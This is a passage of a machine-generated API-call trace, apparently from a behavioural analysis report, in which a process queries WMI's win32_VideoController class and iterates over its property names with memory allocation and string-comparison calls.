pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0150.774] free (_Block=0x15cce0) [0150.774] ??1CHString@@QEAA@XZ () returned 0x7fef4dfc96c [0150.774] free (_Block=0x15c940) [0150.774] malloc (_Size=0x8) returned 0x15cce0 [0150.774] memmove_s (in: _Destination=0x15cce0, _DestinationSize=0x8, _Source=0x15ccc0, _SourceSize=0x8 | out: _Destination=0x15cce0) returned 0x0 [0150.775] malloc (_Size=0x18) returned 0x15c940 [0150.775] IWbemServices:GetObject (in: This=0x4764c0, strObjectPath="win32_VideoController", lFlags=131072, pCtx=0x0, ppObject=0x20d020*=0x0, ppCallResult=0x0 | out: ppObject=0x20d020*=0x49d290, ppCallResult=0x0) returned 0x0 [0150.838] free (_Block=0x15c940) [0150.838] IWbemClassObject:GetNames (in: This=0x49d290, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x0, pNames=0x20d018 | out: pNames=0x20d018*="\x01ƀ\x08") returned 0x0 [0150.839] SafeArrayGetLBound (in: psa=0x468230, nDim=0x1, plLbound=0x20d034 | out: plLbound=0x20d034) returned 0x0 [0150.839] SafeArrayGetUBound (in: psa=0x468230, nDim=0x1, plUbound=0x20d028 | out: plUbound=0x20d028) returned 0x0 [0150.839] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.839] malloc (_Size=0x18) returned 0x15c940 [0150.839] lstrlenW (lpString="AcceleratorCapabilities") returned 23 [0150.839] lstrlenW (lpString="name") returned 4 [0150.839] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="AcceleratorCapabilities", cchCount2=23) returned 3 [0150.840] free (_Block=0x15c940) [0150.840] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.840] malloc (_Size=0x18) returned 0x15c940 [0150.840] lstrlenW (lpString="AdapterCompatibility") returned 20 [0150.840] lstrlenW (lpString="name") returned 4 [0150.840] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="AdapterCompatibility", cchCount2=20) returned 3 [0150.840] free (_Block=0x15c940) [0150.840] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.840] malloc (_Size=0x18) returned 0x15c940 [0150.840] lstrlenW (lpString="AdapterDACType") returned 14 [0150.841] lstrlenW (lpString="name") returned 4 [0150.841] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="AdapterDACType", cchCount2=14) returned 3 [0150.841] free (_Block=0x15c940) [0150.841] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.841] malloc (_Size=0x18) returned 0x15c940 [0150.841] lstrlenW (lpString="AdapterRAM") returned 10 [0150.841] lstrlenW (lpString="name") returned 4 [0150.841] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="AdapterRAM", cchCount2=10) returned 3 [0150.841] free (_Block=0x15c940) [0150.841] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.842] malloc (_Size=0x18) returned 0x15c940 [0150.842] lstrlenW (lpString="Availability") returned 12 [0150.842] lstrlenW (lpString="name") returned 4 [0150.842] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Availability", cchCount2=12) returned 3 [0150.842] free (_Block=0x15c940) [0150.842] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.842] malloc (_Size=0x18) returned 0x15c940 [0150.842] lstrlenW (lpString="CapabilityDescriptions") returned 22 [0150.842] lstrlenW (lpString="name") returned 4 [0150.842] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="CapabilityDescriptions", cchCount2=22) returned 3 [0150.842] free (_Block=0x15c940) [0150.843] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.843] malloc (_Size=0x18) returned 0x15c940 [0150.843] lstrlenW (lpString="Caption") returned 7 [0150.843] lstrlenW (lpString="name") returned 4 [0150.843] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Caption", cchCount2=7) returned 3 [0150.843] free (_Block=0x15c940) [0150.843] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.843] malloc (_Size=0x18) returned 0x15c940 [0150.843] lstrlenW (lpString="ColorTableEntries") returned 17 [0150.843] lstrlenW (lpString="name") returned 4 [0150.843] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="ColorTableEntries", cchCount2=17) returned 3 [0150.844] free (_Block=0x15c940) [0150.844] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.844] malloc (_Size=0x18) returned 0x15c940 [0150.844] lstrlenW (lpString="ConfigManagerErrorCode") returned 22 [0150.844] lstrlenW (lpString="name") returned 4 [0150.844] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="ConfigManagerErrorCode", cchCount2=22) returned 3 [0150.844] free (_Block=0x15c940) [0150.844] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.844] malloc (_Size=0x18) returned 0x15c940 [0150.844] lstrlenW (lpString="ConfigManagerUserConfig") returned 23 [0150.844] lstrlenW (lpString="name") returned 4 [0150.844] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="ConfigManagerUserConfig", cchCount2=23) returned 3 [0150.845] free (_Block=0x15c940) [0150.845] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.845] malloc (_Size=0x18) returned 0x15c940 [0150.845] lstrlenW (lpString="CreationClassName") returned 17 [0150.845] lstrlenW (lpString="name") returned 4 [0150.845] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="CreationClassName", cchCount2=17) returned 3 [0150.845] free (_Block=0x15c940) [0150.845] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.845] malloc (_Size=0x18) returned 0x15c940 [0150.845] lstrlenW (lpString="CurrentBitsPerPixel") returned 19 [0150.846] lstrlenW (lpString="name") returned 4 [0150.846] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="CurrentBitsPerPixel", cchCount2=19) returned 3 [0150.846] free (_Block=0x15c940) [0150.846] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.846] malloc (_Size=0x18) returned 0x15c940 [0150.846] lstrlenW (lpString="CurrentHorizontalResolution") returned 27 [0150.846] lstrlenW (lpString="name") returned 4 [0150.846] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="CurrentHorizontalResolution", cchCount2=27) returned 3 [0150.846] free (_Block=0x15c940) [0150.846] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.847] malloc (_Size=0x18) returned 0x15c940 [0150.847] lstrlenW (lpString="CurrentNumberOfColors") returned 21 [0150.847] lstrlenW (lpString="name") returned 4 [0150.847] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="CurrentNumberOfColors", cchCount2=21) returned 3 [0150.847] free (_Block=0x15c940) [0150.847] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.847] malloc (_Size=0x18) returned 0x15c940 [0150.847] lstrlenW (lpString="CurrentNumberOfColumns") returned 22 [0150.847] lstrlenW (lpString="name") returned 4 [0150.847] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="CurrentNumberOfColumns", cchCount2=22) returned 3 [0150.847] free (_Block=0x15c940) [0150.848] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.848] malloc (_Size=0x18) returned 0x15c940 [0150.848] lstrlenW (lpString="CurrentNumberOfRows") returned 19 [0150.848] lstrlenW (lpString="name") returned 4 [0150.848] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="CurrentNumberOfRows", cchCount2=19) returned 3 [0150.848] free (_Block=0x15c940) [0150.848] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.848] malloc (_Size=0x18) returned 0x15c940 [0150.848] lstrlenW (lpString="CurrentRefreshRate") returned 18 [0150.848] lstrlenW (lpString="name") returned 4 [0150.848] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="CurrentRefreshRate", cchCount2=18) returned 3 [0150.849] free (_Block=0x15c940) [0150.849] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.849] malloc (_Size=0x18) returned 0x15c940 [0150.849] lstrlenW (lpString="CurrentScanMode") returned 15 [0150.849] lstrlenW (lpString="name") returned 4 [0150.849] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="CurrentScanMode", cchCount2=15) returned 3 [0150.849] free (_Block=0x15c940) [0150.849] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.849] malloc (_Size=0x18) returned 0x15c940 [0150.850] lstrlenW (lpString="CurrentVerticalResolution") returned 25 [0150.850] lstrlenW (lpString="name") returned 4 [0150.850] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="CurrentVerticalResolution", cchCount2=25) returned 3 [0150.850] free (_Block=0x15c940) [0150.850] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.850] malloc (_Size=0x18) returned 0x15c940 [0150.850] lstrlenW (lpString="Description") returned 11 [0150.850] lstrlenW (lpString="name") returned 4 [0150.850] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Description", cchCount2=11) returned 3 [0150.850] free (_Block=0x15c940) [0150.850] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.851] malloc (_Size=0x18) returned 0x15c940 [0150.851] lstrlenW (lpString="DeviceID") returned 8 [0150.851] lstrlenW (lpString="name") returned 4 [0150.851] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="DeviceID", cchCount2=8) returned 3 [0150.851] free (_Block=0x15c940) [0150.851] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.851] malloc (_Size=0x18) returned 0x15c940 [0150.851] lstrlenW (lpString="DeviceSpecificPens") returned 18 [0150.851] lstrlenW (lpString="name") returned 4 [0150.851] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="DeviceSpecificPens", cchCount2=18) returned 3 [0150.851] free (_Block=0x15c940) [0150.852] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.852] malloc (_Size=0x18) returned 0x15c940 [0150.852] lstrlenW (lpString="DitherType") returned 10 [0150.852] lstrlenW (lpString="name") returned 4 [0150.852] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="DitherType", cchCount2=10) returned 3 [0150.852] free (_Block=0x15c940) [0150.852] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.852] malloc (_Size=0x18) returned 0x15c940 [0150.852] lstrlenW (lpString="DriverDate") returned 10 [0150.852] lstrlenW (lpString="name") returned 4 [0150.852] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="DriverDate", cchCount2=10) returned 3 [0150.853] free (_Block=0x15c940) [0150.853] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.853] malloc (_Size=0x18) returned 0x15c940 [0150.853] lstrlenW (lpString="DriverVersion") returned 13 [0150.853] lstrlenW (lpString="name") returned 4 [0150.853] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="DriverVersion", cchCount2=13) returned 3 [0150.853] free (_Block=0x15c940) [0150.853] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.853] malloc (_Size=0x18) returned 0x15c940 [0150.854] lstrlenW (lpString="ErrorCleared") returned 12 [0150.854] lstrlenW (lpString="name") returned 4 [0150.854] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="ErrorCleared", cchCount2=12) returned 3 [0150.854] free (_Block=0x15c940) [0150.854] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.854] malloc (_Size=0x18) returned 0x15c940 [0150.854] lstrlenW (lpString="ErrorDescription") returned 16 [0150.854] lstrlenW (lpString="name") returned 4 [0150.854] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="ErrorDescription", cchCount2=16) returned 3 [0150.854] free (_Block=0x15c940) [0150.854] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.855] malloc (_Size=0x18) returned 0x15c940 [0150.855] lstrlenW (lpString="ICMIntent") returned 9 [0150.855] lstrlenW (lpString="name") returned 4 [0150.855] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="ICMIntent", cchCount2=9) returned 3 [0150.855] free (_Block=0x15c940) [0150.855] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.855] malloc (_Size=0x18) returned 0x15c940 [0150.855] lstrlenW (lpString="ICMMethod") returned 9 [0150.855] lstrlenW (lpString="name") returned 4 [0150.855] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="ICMMethod", cchCount2=9) returned 3 [0150.856] free (_Block=0x15c940) [0150.856] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.856] malloc (_Size=0x18) returned 0x15c940 [0150.856] lstrlenW (lpString="InfFilename") returned 11 [0150.856] lstrlenW (lpString="name") returned 4 [0150.856] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="InfFilename", cchCount2=11) returned 3 [0150.856] free (_Block=0x15c940) [0150.856] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.856] malloc (_Size=0x18) returned 0x15c940 [0150.856] lstrlenW (lpString="InfSection") returned 10 [0150.857] lstrlenW (lpString="name") returned 4 [0150.857] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="InfSection", cchCount2=10) returned 3 [0150.857] free (_Block=0x15c940) [0150.857] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.857] malloc (_Size=0x18) returned 0x15c940 [0150.857] lstrlenW (lpString="InstallDate") returned 11 [0150.857] lstrlenW (lpString="name") returned 4 [0150.857] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="InstallDate", cchCount2=11) returned 3 [0150.857] free (_Block=0x15c940) [0150.857] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.857] malloc (_Size=0x18) returned 0x15c940 [0150.858] lstrlenW (lpString="InstalledDisplayDrivers") returned 23 [0150.858] lstrlenW (lpString="name") returned 4 [0150.858] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="InstalledDisplayDrivers", cchCount2=23) returned 3 [0150.858] free (_Block=0x15c940) [0150.858] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.858] malloc (_Size=0x18) returned 0x15c940 [0150.858] lstrlenW (lpString="LastErrorCode") returned 13 [0150.858] lstrlenW (lpString="name") returned 4 [0150.858] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="LastErrorCode", cchCount2=13) returned 3 [0150.858] free (_Block=0x15c940) [0150.859] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.859] malloc (_Size=0x18) returned 0x15c940 [0150.859] lstrlenW (lpString="MaxMemorySupported") returned 18 [0150.859] lstrlenW (lpString="name") returned 4 [0150.859] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="MaxMemorySupported", cchCount2=18) returned 3 [0150.859] free (_Block=0x15c940) [0150.859] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.859] malloc (_Size=0x18) returned 0x15c940 [0150.859] lstrlenW (lpString="MaxNumberControlled") returned 19 [0150.859] lstrlenW (lpString="name") returned 4 [0150.860] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="MaxNumberControlled", cchCount2=19) returned 3 [0150.860] free (_Block=0x15c940) [0150.860] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.860] malloc (_Size=0x18) returned 0x15c940 [0150.860] lstrlenW (lpString="MaxRefreshRate") returned 14 [0150.860] lstrlenW (lpString="name") returned 4 [0150.860] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="MaxRefreshRate", cchCount2=14) returned 3 [0150.860] free (_Block=0x15c940) [0150.860] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.860] malloc (_Size=0x18) returned 0x15c940 [0150.861] lstrlenW (lpString="MinRefreshRate") returned 14 [0150.861] lstrlenW (lpString="name") returned 4 [0150.861] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="MinRefreshRate", cchCount2=14) returned 3 [0150.861] free (_Block=0x15c940) [0150.861] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.861] malloc (_Size=0x18) returned 0x15c940 [0150.861] lstrlenW (lpString="Monochrome") returned 10 [0150.861] lstrlenW (lpString="name") returned 4 [0150.861] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Monochrome", cchCount2=10) returned 3 [0150.861] free (_Block=0x15c940) [0150.861] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.861] malloc (_Size=0x18) returned 0x15c940 [0150.862] lstrlenW (lpString="Name") returned 4 [0150.862] lstrlenW (lpString="name") returned 4 [0150.862] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Name", cchCount2=4) returned 2 [0150.862] free (_Block=0x15c940) [0150.862] malloc (_Size=0x48) returned 0x15cd00 [0150.863] IWbemClassObject:GetPropertyQualifierSet (in: This=0x49d290, wszProperty="Name", ppQualSet=0x20ce48 | out: ppQualSet=0x20ce48*=0x44df40) returned 0x0 [0150.863] malloc (_Size=0x18) returned 0x15c940 [0150.863] IWbemQualifierSet:Get (in: This=0x44df40, wszName="CIMTYPE", lFlags=0, pVal=0x20ced0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x4), plFlavor=0x0 | out: pVal=0x20ced0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="string", varVal2=0x4), plFlavor=0x0) returned 0x0 [0150.863] free (_Block=0x15c940) [0150.863] malloc (_Size=0x18) returned 0x15c940 [0150.863] IWbemClassObject:Get (in: This=0x49d290, wszName="Name", lFlags=0, pVal=0x20cf78*(varType=0x0, wReserved1=0x15, wReserved2=0x0, wReserved3=0x0, varVal1=0xfffffffffffffffe, varVal2=0x0), pType=0x20ce58*=-102194876, plFlavor=0x0 | out: pVal=0x20cf78*(varType=0x1, wReserved1=0x15, wReserved2=0x0, wReserved3=0x0, varVal1=0xfffffffffffffffe, varVal2=0x0), pType=0x20ce58*=8, plFlavor=0x0) returned 0x0 [0150.864] malloc (_Size=0x18) returned 0x15c980 [0150.864] IWbemQualifierSet:Get (in: This=0x44df40, wszName="read", lFlags=0, pVal=0x20ce60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x0), plFlavor=0x0 | out: pVal=0x20ce60*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffff, varVal2=0x0), plFlavor=0x0) returned 0x0 [0150.864] free (_Block=0x15c980) [0150.864] malloc (_Size=0x18) returned 0x15c980 [0150.864] malloc (_Size=0x18) returned 0x15c9a0 [0150.864] IWbemQualifierSet:Get (in: This=0x44df40, wszName="write", lFlags=0, pVal=0x20ce60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffff, varVal2=0x0), plFlavor=0x0 | out: pVal=0x20ce60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffff, varVal2=0x0), plFlavor=0x0) returned 0x80041002 [0150.865] free (_Block=0x15c9a0) [0150.865] malloc (_Size=0x18) returned 0x15c9a0 [0150.865] IWbemQualifierSet:Get (in: This=0x44df40, wszName="Description", lFlags=0, pVal=0x20cf10*(varType=0x0, wReserved1=0x20, wReserved2=0x0, wReserved3=0x0, varVal1=0xff1f4293, varVal2=0x20d070), plFlavor=0x0 | out: pVal=0x20cf10*(varType=0x8, wReserved1=0x20, wReserved2=0x0, wReserved3=0x0, varVal1="The Name property defines the label by which the object is known. When subclassed, the Name property can be overridden to be a Key property.", varVal2=0x20d070), plFlavor=0x0) returned 0x0 [0150.865] free (_Block=0x15c9a0) [0150.865] malloc (_Size=0x18) returned 0x15c9a0 [0150.865] IUnknown:Release (This=0x44df40) returned 0x0 [0150.865] malloc (_Size=0x18) returned 0x15c9c0 [0150.866] malloc (_Size=0x48) returned 0x15cd50 [0150.866] malloc (_Size=0x18) returned 0x15c9e0 [0150.866] malloc (_Size=0x48) returned 0x15cda0 [0150.866] malloc (_Size=0x70) returned 0x15cdf0 [0150.866] malloc (_Size=0x48) returned 0x15ce70 [0150.867] free (_Block=0x15cda0) [0150.868] free (_Block=0x15cd50) [0150.868] free (_Block=0x15cd00) [0150.868] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.868] malloc (_Size=0x18) returned 0x15ca00 [0150.869] lstrlenW (lpString="NumberOfColorPlanes") returned 19 [0150.869] lstrlenW (lpString="name") returned 4 [0150.869] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="NumberOfColorPlanes", cchCount2=19) returned 1 [0150.869] free (_Block=0x15ca00) [0150.869] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.869] malloc (_Size=0x18) returned 0x15ca00 [0150.869] lstrlenW (lpString="NumberOfVideoPages") returned 18 [0150.890] lstrlenW (lpString="name") returned 4 [0150.890] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="NumberOfVideoPages", cchCount2=18) returned 1 [0150.890] free (_Block=0x15ca00) [0150.890] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.890] malloc (_Size=0x18) returned 0x15ca00 [0150.890] lstrlenW (lpString="PNPDeviceID") returned 11 [0150.890] lstrlenW (lpString="name") returned 4 [0150.891] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="PNPDeviceID", cchCount2=11) returned 1 [0150.891] free (_Block=0x15ca00) [0150.891] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.891] malloc (_Size=0x18) returned 0x15ca00 [0150.891] lstrlenW (lpString="PowerManagementCapabilities") returned 27 [0150.891] lstrlenW (lpString="name") returned 4 [0150.891] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="PowerManagementCapabilities", cchCount2=27) returned 1 [0150.891] free (_Block=0x15ca00) [0150.891] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.891] malloc (_Size=0x18) returned 0x15ca00 [0150.892] lstrlenW (lpString="PowerManagementSupported") returned 24 [0150.892] lstrlenW (lpString="name") returned 4 [0150.892] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="PowerManagementSupported", cchCount2=24) returned 1 [0150.892] free (_Block=0x15ca00) [0150.892] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.892] malloc (_Size=0x18) returned 0x15ca00 [0150.892] lstrlenW (lpString="ProtocolSupported") returned 17 [0150.892] lstrlenW (lpString="name") returned 4 [0150.892] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="ProtocolSupported", cchCount2=17) returned 1 [0150.892] free (_Block=0x15ca00) [0150.892] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.893] malloc (_Size=0x18) returned 0x15ca00 [0150.893] lstrlenW (lpString="ReservedSystemPaletteEntries") returned 28 [0150.893] lstrlenW (lpString="name") returned 4 [0150.893] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="ReservedSystemPaletteEntries", cchCount2=28) returned 1 [0150.893] free (_Block=0x15ca00) [0150.893] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.893] malloc (_Size=0x18) returned 0x15ca00 [0150.893] lstrlenW (lpString="SpecificationVersion") returned 20 [0150.893] lstrlenW (lpString="name") returned 4 [0150.893] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="SpecificationVersion", cchCount2=20) returned 1 [0150.893] free (_Block=0x15ca00) [0150.894] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.894] malloc (_Size=0x18) returned 0x15ca00 [0150.894] lstrlenW (lpString="Status") returned 6 [0150.894] lstrlenW (lpString="name") returned 4 [0150.894] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="Status", cchCount2=6) returned 1 [0150.894] free (_Block=0x15ca00) [0150.894] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.894] malloc (_Size=0x18) returned 0x15ca00 [0150.894] lstrlenW (lpString="StatusInfo") returned 10 [0150.894] lstrlenW (lpString="name") returned 4 [0150.894] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="StatusInfo", cchCount2=10) returned 1 [0150.895] free (_Block=0x15ca00) [0150.895] SafeArrayGetElement (in: psa=0x468230, rgIndices=0x20cff8, pv=0x20cff0 | out: pv=0x20cff0) returned 0x0 [0150.895] malloc (_Size=0x18) returned 0x15ca00 [0150.895] lstrlenW (lpString="SystemCreationClassName") returned 23 [0150.895] lstrlenW (lpString="name") returned 4 [0150.895] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="name", cchCount1=4, lpString2="SystemCreationClassName", cchCount2=23) returned 1 